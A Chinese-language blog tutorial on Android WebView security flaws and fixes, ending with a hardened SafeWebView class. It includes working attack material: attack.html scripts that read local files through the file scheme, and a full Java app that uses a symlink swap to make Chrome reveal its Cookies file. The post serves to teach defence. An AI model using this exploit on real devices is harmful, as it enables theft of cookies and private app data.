WebView 默認開啟密碼保存功能 mWebView.setSavePassword(true),如果該功能未關(guān)閉,在用戶輸入密碼時,會彈出提示框,詢問用戶是否保存密碼,如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中,這樣就有被盜取密碼的危險,所以需要通過 WebSettings.setSavePassword(false) 關(guān)閉密碼保存提醒功能。
WebView 域控制不嚴格漏洞
要了解 WebView 中 file 協(xié)議的安全性,我們這里用一個簡單的例子來演示一下,這個 APP 中有一個頁面叫做 WebViewActivity :
public class WebViewActivity extends Activity {
private WebView webView;
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
webView = (WebView) findViewById(R.id.webView);
//webView.getSettings().setJavaScriptEnabled(true); (0)
//webView.getSettings().setAllowFileAccess(false); (1)
//webView.getSettings().setAllowFileAccessFromFileURLs(true); (2)
//webView.getSettings().setAllowUniversalAccessFromFileURLs(true); (3)
Intent i = getIntent();
String url = i.getData().toString(); //url = file:///data/local/tmp/attack.html
webView.loadUrl(url);
}
}
將該 WebViewActivity 設(shè)置為 exported="true",當其他應(yīng)用啟動此 Activity 時, intent 中的 data 直接被當作 url 來加載(假定傳進來的 url 為 file:///data/local/tmp/attack.html ),通過其他 APP 使用顯式 ComponentName 或者其他類似方式就可以很輕松的啟動該 WebViewActivity ,我們知道因為 Android 中的 sandbox,Android 中的各應(yīng)用是相互隔離的,在一般情況下 A 應(yīng)用是不能訪問 B 應(yīng)用的文件的,但不正確的使用 WebView 可能會打破這種隔離,從而帶來應(yīng)用數(shù)據(jù)泄露的威脅,即 A 應(yīng)用可以通過 B 應(yīng)用導(dǎo)出的 Activity 讓 B 應(yīng)用加載一個惡意的 file 協(xié)議的 url,從而可以獲取 B 應(yīng)用的內(nèi)部私有文件,下面我們著重分析這幾個 API 對 WebView 安全性的影響。
setAllowFileAccess
Enables or disables file access within WebView. File access is enabled by default. Note that this
enables or disables file system access only. Assets and resources are still accessible using
file:///android_asset and file:///android_res.
通過這個 API 可以設(shè)置是否允許 WebView 使用 File 協(xié)議,Android 中默認 setAllowFileAccess(true),所以默認值是允許,在 File 域下,能夠執(zhí)行任意的 JavaScript 代碼,同源策略跨域訪問則能夠?qū)λ接心夸浳募M行訪問,APP 嵌入的 WebView 未對 file:/// 形式的 URL 做限制,所以使用 file 域加載的 js 能夠使用同源策略跨域訪問導(dǎo)致隱私信息泄露,針對 IM 類軟件會導(dǎo)致聊天信息、聯(lián)系人等等重要信息泄露,針對瀏覽器類軟件,則更多的是 cookie 信息泄露。如果不允許使用 file 協(xié)議,則不會存在下面將要講到的各種跨源的安全威脅,但同時也限制了 WebView 的功能,使其不能加載本地的 html 文件。禁用 file 協(xié)議后,讓 WebViewActivity 打開 attack.html 會得到如下圖所示的輸出,圖中所示的文件是存在的,但 WebView 禁止加載此文件,移動版的 Chrome 默認禁止加載 file 協(xié)議的文件。
那么怎么解決呢,不要著急,繼續(xù)往下看。
setAllowFileAccessFromFileURLs
Sets whether JavaScript running in the context of a file scheme URL should be allowed to access
content from other file scheme URLs. To enable the most restrictive, and therefore secure policy,
this setting should be disabled. Note that the value of this setting is ignored if the value of
getAllowUniversalAccessFromFileURLs() is true. Note too, that this setting affects only JavaScript
access to file scheme resources. Other access to such resources, for example, from image HTML
elements, is unaffected. To prevent possible violation of same domain policy on ICE_CREAM_SANDWICH
and earlier devices, you should explicitly set this value to false.
The default value is true for API level ICE_CREAM_SANDWICH_MR1 and below, and false for API level
JELLY_BEAN and above.
通過此API可以設(shè)置是否允許通過 file url 加載的 Javascript 讀取其他的本地文件,這個設(shè)置在 JELLY_BEAN(android 4.1) 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。當 AllowFileAccessFromFileURLs 設(shè)置為 true 時,對應(yīng)上面的 attack.html 代碼為:
<script>
function loadXMLDoc()
{
var arm = "file:///etc/hosts";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
,此時通過這段代碼就可以成功讀取 /etc/hosts 的內(nèi)容,最顯著的例子就是 360 手機瀏覽器的早期 4.8 版本,由于未對 file 域做安全限制,惡意 APP 調(diào)用 360 瀏覽器加載本地的攻擊頁面(比如惡意 APP 釋放到 sd 卡上的一個 html)后,就可以獲取 360 手機瀏覽器下的所有私有數(shù)據(jù),包括 webviewCookiesChromium.db 下的 Cookie 內(nèi)容,但是如果設(shè)置為 false 時,上述腳本執(zhí)行會導(dǎo)致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 讀取其它本地文件:
I/chromium(27749): [INFO:CONSOLE(0)] “XMLHttpRequest cannot load file:///etc/hosts. Cross origin
requests are only supported for HTTP.”, source: file:///data/local/tmp/attack.html
setAllowUniversalAccessFromFileURLs
通過此 API 可以設(shè)置是否允許通過 file url 加載的 Javascript 可以訪問其他的源,包括其他的文件和 http,https 等其他的源。這個設(shè)置在 JELLY_BEAN 以前的版本默認是允許,在 JELLY_BEAN 及以后的版本中默認是禁止的。如果此設(shè)置是允許,則 setAllowFileAccessFromFileURLs 不起做用,此時修改 attack.html 的代碼:
<script>
function loadXMLDoc()
{
var arm = "http://www.so.com";
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
xmlhttp.onreadystatechange=function()
{
//alert("status is"+xmlhttp.status);
if (xmlhttp.readyState==4)
{
console.log(xmlhttp.responseText);
}
}
xmlhttp.open("GET",arm);
xmlhttp.send(null);
}
loadXMLDoc();
</script>
當 AllowFileAccessFromFileURLs 為 true 時,上述 javascript 可以成功讀取 http://www.so.com 的內(nèi)容,但設(shè)置為 false 時,上述腳本執(zhí)行會導(dǎo)致如下錯誤,表示瀏覽器禁止從 file url 中的 javascript 訪問其他源的資源:
I/chromium(28336): [INFO:CONSOLE(0)] “XMLHttpRequest cannot
load http://www.so.com/. Origin null is not allowed by
Access-Control-Allow-Origin.”, source: file:///data/local/tmp/attack.html
以上漏洞的初步解決方案
通過以上的介紹,初步的方案是使用下面的代碼來杜絕:
setAllowFileAccess(true); //設(shè)置為 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
這樣就可以讓 html 頁面加載本地的 javascript,同時杜絕加載的 js 訪問本地的文件或者讀取其他的源,不是就 OK 了么,而且在 JELLY_BEAN(android 4.1) 版本以及之后不是都默認為 false 了么,其實不然,我們繼續(xù)往下看其他漏洞。
使用符號鏈接跨源
為了安全的使用 WebView,AllowUniversalAccessFromFileURLs 和 AllowFileAccessFromFileURLs 都應(yīng)該設(shè)置為禁止,在 JELLY_BEAN(android 4.1) 及以后的版本中這兩項設(shè)置默認也是禁止的,但是即使把這兩項都設(shè)置為 false,通過 file URL 加載的 javascript 仍然有方法訪問其他的本地文件,通過符號鏈接攻擊可以達到這一目的,前提是允許 file URL 執(zhí)行 javascript。這一攻擊能奏效的原因是無論怎么限制 file 協(xié)議的同源檢查,其 javascript 都應(yīng)該能訪問當前的文件,通過 javascript 的延時執(zhí)行和將當前文件替換成指向其它文件的軟鏈接就可以讀取到被符號鏈接所指的文件,具體攻擊步驟見 Chromium bug 144866,下面也貼出了代碼和詳解。因為 Chrome 最新版本默認禁用 file 協(xié)議,所以這一漏洞在最新版的 Chrome 中并不存在,Google 也并沒有修復(fù)它,但是大量使用 WebView 的應(yīng)用和瀏覽器,都有可能受到此漏洞的影響,通過利用此漏洞,無特殊權(quán)限的惡意 APP 可以盜取瀏覽器的任意私有文件,包括但不限于 Cookie、保存的密碼、收藏夾和歷史記錄,并可以將所盜取的文件上傳到攻擊者的服務(wù)器。下圖為通過 file URL 讀取某手機瀏覽器 Cookie 的截圖:
截圖將 Cookie alert 出來了,實際情況可以上傳到服務(wù)器,攻擊的詳細代碼如下所示:
public class MainActivity extends AppCompatActivity {
public final static String MY_PKG = "com.example.safewebview";
public final static String MY_TMP_DIR = "/data/data/" + MY_PKG + "/tmp/";
public final static String HTML_PATH = MY_TMP_DIR + "A" + Math.random() + ".html";
public final static String TARGET_PKG = "com.android.chrome";
public final static String TARGET_FILE_PATH = "/data/data/" + TARGET_PKG + "/app_chrome/Default/Cookies";
public final static String HTML =
"<body>" +
"<u>Wait a few seconds.</u>" +
"<script>" +
"var d = document;" +
"function doitjs() {" +
" var xhr = new XMLHttpRequest;" +
" xhr.onload = function() {" +
" var txt = xhr.responseText;" +
" d.body.appendChild(d.createTextNode(txt));" +
" alert(txt);" +
" };" +
" xhr.open('GET', d.URL);" +
" xhr.send(null);" +
"}" +
"setTimeout(doitjs, 8000);" +
"</script>" +
"</body>";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
doit();
}
public void doit() {
try {
// Create a malicious HTML
cmdexec("mkdir " + MY_TMP_DIR);
cmdexec("echo \"" + HTML + "\" > " + HTML_PATH);
cmdexec("chmod -R 777 " + MY_TMP_DIR);
Thread.sleep(1000);
// Force Chrome to load the malicious HTML
invokeChrome("file://" + HTML_PATH);
Thread.sleep(4000);
// Replace the HTML with a symlink to Chrome's Cookie file
cmdexec("rm " + HTML_PATH);
cmdexec("ln -s " + TARGET_FILE_PATH + " " + HTML_PATH);
} catch (Exception e) {
}
}
public void invokeChrome(String url) {
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG + ".Main");
startActivity(intent);
}
public void cmdexec(String cmd) {
try {
String[] tmp = new String[]{"/system/bin/sh", "-c", cmd};
Runtime.getRuntime().exec(tmp);
} catch (Exception e) {
}
}
}
這就是使用符號鏈接跨源獲取私有文件的代碼,應(yīng)該不難讀懂,首先把惡意的 js 代碼輸出到攻擊應(yīng)用的目錄下,隨機命名為 xx.html,并且修改該目錄的權(quán)限,修改完成之后休眠 1s,讓文件操作完成,完成之后通過系統(tǒng)的 Chrome 應(yīng)用去打開這個 xx.html 文件,然后等待 4s 讓 Chrome 加載完成該 html,最后將該 html 刪除,并且使用 ln -s 命令為 Chrome 的 Cookie 文件創(chuàng)建軟連接,注意,在這條命令執(zhí)行之前 xx.html 是不存在的,執(zhí)行完這條命令之后,就生成了這個文件,并且將 Cookie 文件鏈接到了 xx.html 上,于是就可以通過鏈接來訪問 Chrome 的 Cookie 了。
setJavaScriptEnabled
通過此 API 可以設(shè)置是否允許 WebView 使用 JavaScript,默認是不允許,但很多應(yīng)用,包括移動瀏覽器為了讓 WebView 執(zhí)行 http 協(xié)議中的 JavaScript,都會主動設(shè)置允許 WebView 執(zhí)行 JavaScript,而又不會對不同的協(xié)議區(qū)別對待,比較安全的實現(xiàn)是如果加載的 url 是 http 或 https 協(xié)議,則啟用 JavaScript,如果是其它危險協(xié)議,比如是 file 協(xié)議,則禁用 JavaScript。如果是 file 協(xié)議,禁用 javascript 可以很大程度上減小跨源漏洞對 WebView 的威脅,但是此時禁用 JavaScript 的執(zhí)行并不能完全杜絕跨源文件泄露。例如,有的應(yīng)用實現(xiàn)了下載功能,對于加載不了的頁面,會自動下載到 sd 卡中,由于 sd 卡中的文件所有應(yīng)用都可以訪問,于是可以通過構(gòu)造一個 file URL 指向被攻擊應(yīng)用的私有文件,然后用此 URL 啟動被攻擊應(yīng)用的 WebActivity,這樣由于該 WebActivity 無法加載該文件,就會將該文件下載到 sd 卡下面,然后就可以從 sd 卡上讀取這個文件了,當然這種應(yīng)用比較少,這個也算是應(yīng)用自身無意產(chǎn)生的一個漏洞吧。
以上漏洞的解決方案
針對 WebView 域控制不嚴格漏洞的安全建議如下:<ol><li>對于不需要使用 file 協(xié)議的應(yīng)用,禁用 file 協(xié)議;</li><li>對于需要使用 file 協(xié)議的應(yīng)用,禁止 file 協(xié)議加載 JavaScript。</li></ol> 所以兩種解決辦法,第一種類似 Chrome,直接禁止 file 協(xié)議:
setAllowFileAccess(false); //設(shè)置為 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
第二種是根據(jù)不同情況不同處理(無法避免應(yīng)用對于無法加載的頁面下載到 sd 卡上這個漏洞):
setAllowFileAccess(true); //設(shè)置為 false 將不能加載本地 html 文件
setAllowFileAccessFromFileURLs(false);
setAllowUniversalAccessFromFileURLs(false);
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
開發(fā)中遇見的坑
這里記錄一下開發(fā)中遇到的一些坑和解決辦法:
loadData() 方法
我們可以通過使用 [WebView.loadData(String data, String mimeType, String encoding)](https://developer.android.com/reference/android/webkit/WebView.html#loadData(java.lang.String, java.lang.String, java.lang.String)) 方法來加載一整個 HTML 頁面的一小段內(nèi)容,第一個就是我們需要 WebView 展示的內(nèi)容,第二個是我們告訴 WebView 我們展示內(nèi)容的類型,一般,第三個是字節(jié)碼,但是使用的時候,這里會有一些坑,我們來看一個簡單的例子:
String html = new String("<h3>我是loadData() 的標題</h3><p>  我是他的內(nèi)容</p>");
webView.loadData(html, "text/html", "UTF-8");
這里的邏輯很簡單,加載一個簡單的富文本標簽,我們看看運行后的效果:
可以注意到這里顯示成亂碼了,可是明明已經(jīng)指定了編碼格式為 UTF-8 啊,可是這就是使用的坑,我們需要將代碼進行修改:
String html = new String("<h3>我是loadData() 的標題</h3><p>  我是他的內(nèi)容</p>");
webView.loadData(html, "text/html;charset=UTF-8", "null");
我們再來看看顯示效果:
這樣我們就可以看到正確的內(nèi)容了,Google 還指出,在我們這種加載的方法下,我們的 Data 數(shù)據(jù)里不能出現(xiàn) ’#’, ‘%’, ‘\’ , ‘?’ 這四個字符,如果出現(xiàn)了我們要用 %23, %25, %27, %3f 對應(yīng)來替代,網(wǎng)上列舉了未將特定字符轉(zhuǎn)義過程中遇到的異常現(xiàn)象:
A) % 會報找不到頁面錯誤,頁面全是亂碼。
B) # 會讓你的 goBack 失效,但 canGoBAck 是可以使用的,于是就會產(chǎn)生返回按鈕生效,但不能返回的情況。
C) \ 和 ? 在轉(zhuǎn)換時,會報錯,因為它會把 \ 當作轉(zhuǎn)義符來使用,如果用兩級轉(zhuǎn)義,也不生效。
我們在使用 loadData() 時,就意味著需要把所有的非法字符全部轉(zhuǎn)換掉,這樣就會給運行速度帶來很大的影響,因為在使用時,很多情況下頁面 stytle 中會使用很多 '%' 號,頁面的數(shù)據(jù)越多,運行的速度就會越慢。
頁面空白
當 WebView 嵌套在 ScrollView 里面的時候,如果 WebView 先加載了一個高度很高的網(wǎng)頁,然后加載了一個高度很低的網(wǎng)頁,就會造成 WebView 的高度無法自適應(yīng),底部出現(xiàn)大量空白的情況出現(xiàn),具體的可以看看我以前的博客:android ScollView 嵌套 WebView 底部空白,高度無法自適應(yīng)解決。
內(nèi)存泄漏
WebView 的內(nèi)存泄漏是一個比較大的問題,尤其是當加載的頁面比較龐大的時候,解決方法網(wǎng)上也比較多,但是看情況大部分都不是能徹底根治的,這里說一下 QQ 和微信的做法,每當打開一個 WebView 界面的時候,會開啟一個新進程,在頁面退出之后通過 System.exit(0) 關(guān)閉這個進程,這樣就不會存在內(nèi)存泄漏的問題了,具體的做法可以查看這篇博客:Android WebView Memory Leak WebView內(nèi)存泄漏,里面也提供了另外一種解決辦法,感興趣的可以去看一下。
setBuiltInZoomControls 引起的 Crash
當使用 mWebView.getSettings().setBuiltInZoomControls(true) 啟用該設(shè)置后,用戶一旦觸摸屏幕,就會出現(xiàn)縮放控制圖標。這個圖標過上幾秒會自動消失,但在 3.0 之上 4.4 系統(tǒng)之下很多手機會出現(xiàn)這種情況:如果圖標自動消失前退出當前 Activity 的話,就會發(fā)生 ZoomButton 找不到依附的 Window 而造成程序崩潰,解決辦法很簡單就是在 Activity 的 onDestory 方法中調(diào)用 mWebView.setVisibility(View.GONE); 方法,手動將其隱藏,就不會崩潰了。
后臺無法釋放 JS 導(dǎo)致耗電
如果 WebView 加載的的 html 里有一些 JS 一直在執(zhí)行比如動畫之類的東西,如果此刻 WebView 掛在了后臺,這些資源是不會被釋放,用戶也無法感知,導(dǎo)致一直占有 CPU 增加耗電量,如果遇到這種情況,在 onStop 和 onResume 里分別把 setJavaScriptEnabled() 給設(shè)置成 false 和 true 即可。
源碼
來看看解決上述問題的 WebView 源碼:
public class SafeWebView extends WebView {
private static final boolean DEBUG = true;
private static final String VAR_ARG_PREFIX = "arg";
private static final String MSG_PROMPT_HEADER = "MyApp:";
/**
* 對象名
*/
private static final String KEY_INTERFACE_NAME = "obj";
/**
* 函數(shù)名
*/
private static final String KEY_FUNCTION_NAME = "func";
/**
* 參數(shù)數(shù)組
*/
private static final String KEY_ARG_ARRAY = "args";
/**
* 要過濾的方法數(shù)組
*/
private static final String[] mFilterMethods = {
"getClass",
"hashCode",
"notify",
"notifyAll",
"equals",
"toString",
"wait",
};
/**
* 緩存addJavascriptInterface的注冊對象
*/
private HashMap<String, Object> mJsInterfaceMap = new HashMap<>();
/**
* 緩存注入到JavaScript Context的js腳本
*/
private String mJsStringCache = null;
public SafeWebView(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
init();
}
public SafeWebView(Context context, AttributeSet attrs) {
super(context, attrs);
init();
}
public SafeWebView(Context context) {
super(context);
init();
}
/**
* WebView 初始化,設(shè)置監(jiān)聽,刪除部分Android默認注冊的JS接口
*/
private void init() {
setWebChromeClient(new WebChromeClientEx());
setWebViewClient(new WebViewClientEx());
safeSetting();
removeUnSafeJavascriptImpl();
}
/**
* 安全性設(shè)置
*/
private void safeSetting() {
getSettings().setSavePassword(false);
getSettings().setAllowFileAccess(false);//設(shè)置為 false 將不能加載本地 html 文件
if (Build.VERSION.SDK_INT >= 16) {
getSettings().setAllowFileAccessFromFileURLs(false);
getSettings().setAllowUniversalAccessFromFileURLs(false);
}
}
/**
* 檢查SDK版本是否 >= 3.0 (API 11)
*/
private boolean hasHoneycomb() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB;
}
/**
* 檢查SDK版本是否 >= 4.2 (API 17)
*/
private boolean hasJellyBeanMR1() {
return Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1;
}
/**
* 3.0 ~ 4.2 之間的版本需要移除 Google 注入的幾個對象
*/
@SuppressLint("NewApi")
private boolean removeUnSafeJavascriptImpl() {
if (hasHoneycomb() && !hasJellyBeanMR1()) {
super.removeJavascriptInterface("searchBoxJavaBridge_");
super.removeJavascriptInterface("accessibility");
super.removeJavascriptInterface("accessibilityTraversal");
return true;
}
return false;
}
@Override
public void setWebViewClient(WebViewClient client) {
if (hasJellyBeanMR1()) {
super.setWebViewClient(client);
} else {
if (client instanceof WebViewClientEx) {
super.setWebViewClient(client);
} else if (client == null) {
super.setWebViewClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebViewClientEx\'");
}
}
}
@Override
public void setWebChromeClient(WebChromeClient client) {
if (hasJellyBeanMR1()) {
super.setWebChromeClient(client);
} else {
if (client instanceof WebChromeClientEx) {
super.setWebChromeClient(client);
} else if (client == null) {
super.setWebChromeClient(client);
} else {
throw new IllegalArgumentException(
"the \'client\' must be a subclass of the \'WebChromeClientEx\'");
}
}
}
/**
* 如果版本大于 4.2,漏洞已經(jīng)被解決,直接調(diào)用基類的 addJavascriptInterface
* 如果版本小于 4.2,則使用map緩存待注入對象
*/
@SuppressLint("JavascriptInterface")
@Override
public void addJavascriptInterface(Object obj, String interfaceName) {
if (TextUtils.isEmpty(interfaceName)) {
return;
}
// 如果在4.2以上,直接調(diào)用基類的方法來注冊
if (hasJellyBeanMR1()) {
super.addJavascriptInterface(obj, interfaceName);
} else {
mJsInterfaceMap.put(interfaceName, obj);
}
}
/**
* 刪除待注入對象,
* 如果版本為 4.2 以及 4.2 以上,則使用父類的removeJavascriptInterface。
* 如果版本小于 4.2,則從緩存 map 中刪除注入對象
*/
@SuppressLint("NewApi")
public void removeJavascriptInterface(String interfaceName) {
if (hasJellyBeanMR1()) {
super.removeJavascriptInterface(interfaceName);
} else {
mJsInterfaceMap.remove(interfaceName);
//每次 remove 之后,都需要重新構(gòu)造 JS 注入
mJsStringCache = null;
injectJavascriptInterfaces();
}
}
/**
* 如果 WebView 是 SafeWebView 類型,則向 JavaScript Context 注入對象,確保 WebView 是有安全機制的
*/
private void injectJavascriptInterfaces(WebView webView) {
if (webView instanceof SafeWebView) {
injectJavascriptInterfaces();
}
}
/**
* 注入我們構(gòu)造的 JS
*/
private void injectJavascriptInterfaces() {
if (!TextUtils.isEmpty(mJsStringCache)) {
loadUrl(mJsStringCache);
return;
}
mJsStringCache = genJavascriptInterfacesString();
loadUrl(mJsStringCache);
}
/**
* 根據(jù)緩存的待注入java對象,生成映射的JavaScript代碼,也就是橋梁(SDK4.2之前通過反射生成)
*/
private String genJavascriptInterfacesString() {
if (mJsInterfaceMap.size() == 0) {
return null;
}
/*
* 要注入的JS的格式,其中XXX為注入的對象的方法名,例如注入的對象中有一個方法A,那么這個XXX就是A
* 如果這個對象中有多個方法,則會注冊多個window.XXX_js_interface_name塊,我們是用反射的方法遍歷
* 注入對象中的帶有@JavaScripterInterface標注的方法
*
* javascript:(function JsAddJavascriptInterface_(){
* if(typeof(window.XXX_js_interface_name)!='undefined'){
* console.log('window.XXX_js_interface_name is exist!!');
* }else{
* window.XXX_js_interface_name={
* XXX:function(arg0,arg1){
* return prompt('MyApp:'+JSON.stringify({obj:'XXX_js_interface_name',func:'XXX_',args:[arg0,arg1]}));
* },
* };
* }
* })()
*/
Iterator<Map.Entry<String, Object>> iterator = mJsInterfaceMap.entrySet().iterator();
//HEAD
StringBuilder script = new StringBuilder();
script.append("javascript:(function JsAddJavascriptInterface_(){");
// 遍歷待注入java對象,生成相應(yīng)的js對象
try {
while (iterator.hasNext()) {
Map.Entry<String, Object> entry = iterator.next();
String interfaceName = entry.getKey();
Object obj = entry.getValue();
// 生成相應(yīng)的js方法
createJsMethod(interfaceName, obj, script);
}
} catch (Exception e) {
e.printStackTrace();
}
// End
script.append("})()");
return script.toString();
}
/**
* 根據(jù)待注入的java對象,生成js方法
*
* @param interfaceName 對象名
* @param obj 待注入的java對象
* @param script js代碼
*/
private void createJsMethod(String interfaceName, Object obj, StringBuilder script) {
if (TextUtils.isEmpty(interfaceName) || (null == obj) || (null == script)) {
return;
}
Class<? extends Object> objClass = obj.getClass();
script.append("if(typeof(window.").append(interfaceName).append(")!='undefined'){");
if (DEBUG) {
script.append(" console.log('window." + interfaceName + "_js_interface_name is exist!!');");
}
script.append("}else {");
script.append(" window.").append(interfaceName).append("={");
// 通過反射機制,添加java對象的方法
Method[] methods = objClass.getMethods();
for (Method method : methods) {
String methodName = method.getName();
// 過濾掉Object類的方法,包括getClass()方法,因為在Js中就是通過getClass()方法來得到Runtime實例
if (filterMethods(methodName)) {
continue;
}
script.append(" ").append(methodName).append(":function(");
// 添加方法的參數(shù)
int argCount = method.getParameterTypes().length;
if (argCount > 0) {
int maxCount = argCount - 1;
for (int i = 0; i < maxCount; ++i) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(argCount - 1);
}
script.append(") {");
// Add implementation
if (method.getReturnType() != void.class) {
script.append(" return ").append("prompt('").append(MSG_PROMPT_HEADER).append("'+");
} else {
script.append(" prompt('").append(MSG_PROMPT_HEADER).append("'+");
}
// Begin JSON
script.append("JSON.stringify({");
script.append(KEY_INTERFACE_NAME).append(":'").append(interfaceName).append("',");
script.append(KEY_FUNCTION_NAME).append(":'").append(methodName).append("',");
script.append(KEY_ARG_ARRAY).append(":[");
// 添加參數(shù)到JSON串中
if (argCount > 0) {
int max = argCount - 1;
for (int i = 0; i < max; i++) {
script.append(VAR_ARG_PREFIX).append(i).append(",");
}
script.append(VAR_ARG_PREFIX).append(max);
}
// End JSON
script.append("]})");
// End prompt
script.append(");");
// End function
script.append(" }, ");
}
// End of obj
script.append(" };");
// End of if or else
script.append("}");
}
/**
* 檢查是否是被過濾的方法
*/
private boolean filterMethods(String methodName) {
for (String method : mFilterMethods) {
if (method.equals(methodName)) {
return true;
}
}
return false;
}
/**
* 利用反射,調(diào)用java對象的方法。
* <p>
* 從緩存中取出key=interfaceName的java對象,并調(diào)用其methodName方法
*
* @param result
* @param interfaceName 對象名
* @param methodName 方法名
* @param args 參數(shù)列表
* @return
*/
private boolean invokeJSInterfaceMethod(JsPromptResult result, String interfaceName, String methodName, Object[] args) {
boolean succeed = false;
final Object obj = mJsInterfaceMap.get(interfaceName);
if (null == obj) {
result.cancel();
return false;
}
Class<?>[] parameterTypes = null;
int count = 0;
if (args != null) {
count = args.length;
}
if (count > 0) {
parameterTypes = new Class[count];
for (int i = 0; i < count; ++i) {
parameterTypes[i] = getClassFromJsonObject(args[i]);
}
}
try {
Method method = obj.getClass().getMethod(methodName, parameterTypes);
Object returnObj = method.invoke(obj, args); // 執(zhí)行接口調(diào)用
boolean isVoid = returnObj == null || returnObj.getClass() == void.class;
String returnValue = isVoid ? "" : returnObj.toString();
result.confirm(returnValue); // 通過prompt返回調(diào)用結(jié)果
succeed = true;
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return succeed;
}
/**
* 解析出參數(shù)類型
*
* @param obj
* @return
*/
private Class<?> getClassFromJsonObject(Object obj) {
Class<?> cls = obj.getClass();
// js對象只支持int boolean string三種類型
if (cls == Integer.class) {
cls = Integer.TYPE;
} else if (cls == Boolean.class) {
cls = Boolean.TYPE;
} else {
cls = String.class;
}
return cls;
}
/**
* 解析JavaScript調(diào)用prompt的參數(shù)message,提取出對象名、方法名,以及參數(shù)列表,再利用反射,調(diào)用java對象的方法。
*
* @param view
* @param url
* @param message MyApp:{"obj":"jsInterface","func":"onButtonClick","args":["從JS中傳遞過來的文本?。。?]}
* @param defaultValue
* @param result
* @return
*/
private boolean handleJsInterface(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
String prefix = MSG_PROMPT_HEADER;
if (!message.startsWith(prefix)) {
return false;
}
String jsonStr = message.substring(prefix.length());
try {
JSONObject jsonObj = new JSONObject(jsonStr);
// 對象名稱
String interfaceName = jsonObj.getString(KEY_INTERFACE_NAME);
// 方法名稱
String methodName = jsonObj.getString(KEY_FUNCTION_NAME);
// 參數(shù)數(shù)組
JSONArray argsArray = jsonObj.getJSONArray(KEY_ARG_ARRAY);
Object[] args = null;
if (null != argsArray) {
int count = argsArray.length();
if (count > 0) {
args = new Object[count];
for (int i = 0; i < count; ++i) {
Object arg = argsArray.get(i);
if (!arg.toString().equals("null")) {
args[i] = arg;
} else {
args[i] = null;
}
}
}
}
if (invokeJSInterfaceMethod(result, interfaceName, methodName, args)) {
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
result.cancel();
return false;
}
private class WebChromeClientEx extends WebChromeClient {
@Override
public final void onProgressChanged(WebView view, int newProgress) {
injectJavascriptInterfaces(view);
super.onProgressChanged(view, newProgress);
}
@Override
public final boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) {
if (view instanceof SafeWebView) {
if (handleJsInterface(view, url, message, defaultValue, result)) {
return true;
}
}
return super.onJsPrompt(view, url, message, defaultValue, result);
}
@Override
public final void onReceivedTitle(WebView view, String title) {
injectJavascriptInterfaces(view);
}
}
private class WebViewClientEx extends WebViewClient {
@Override
public void onLoadResource(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onLoadResource(view, url);
}
@Override
public void doUpdateVisitedHistory(WebView view, String url, boolean isReload) {
injectJavascriptInterfaces(view);
super.doUpdateVisitedHistory(view, url, isReload);
}
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
injectJavascriptInterfaces(view);
super.onPageStarted(view, url, favicon);
}
@Override
public void onPageFinished(WebView view, String url) {
injectJavascriptInterfaces(view);
super.onPageFinished(view, url);
}
}
}
這段代碼基本是按照上面所描述的情況來寫的,修復(fù)了上面提到的幾個漏洞,這里再描述一下幾個需要注意的點:<ul><li> removeUnSafeJavascriptImpl :該函數(shù)用來在特定版本刪除上面提到的幾個 Google 注入的對象;</li><li> setWebViewClient 和 setWebChromeClient :重寫這兩個函數(shù)用來防止子類使用原生的 WebViewClient 和 WebChromeClient 導(dǎo)致失效;</li><li>在上面提到的 onLoadResource,doUpdateVisitedHistory,onPageStarted,onPageFinished,onReceivedTitle,onProgressChanged 幾個方法里面調(diào)用 injectJavascriptInterfaces 方法來注入生成的 JS 代碼;</li><li> genJavascriptInterfacesString 函數(shù)用來生成需要注入的 JS 代碼,其中通過 filterMethods 方法過濾掉了上面提到的幾個需要過濾的方法;</li><li>注入完 JS 之后,Web 端就可以根據(jù)方法名調(diào)用對應(yīng)終端注入的這段 JS 函數(shù),然后調(diào)用到終端的 onJsPrompt 方法,通過 message 變量將信息傳遞過來,終端解析出對象、方法名和參數(shù),最后通過反射的方法調(diào)用到 Native 層的代碼,另外如果需要返回值,則可以通過 JsPromptResult 對象通過 confirm 函數(shù)將信息從 Native 層傳遞給 Web 端,這樣就實現(xiàn)了一個完整的調(diào)用鏈。</li></ul> 下載源碼:https://github.com/zhaozepeng/SafeWebView;參考自:https://github.com/yushiwo/WebViewBugDemo,在此基礎(chǔ)上做了一些優(yōu)化。</br>
引用
http://group.jobbole.com/26417/?utm_source=android.jobbole.com&utm_medium=sidebar-group-topic
http://blog.csdn.net/jiangwei0910410003/article/details/52687530
http://blog.csdn.net/leehong2005/article/details/11808557
https://github.com/yushiwo/WebViewBugDemo/blob/master/src/com/lee/webviewbug/WebViewEx.java
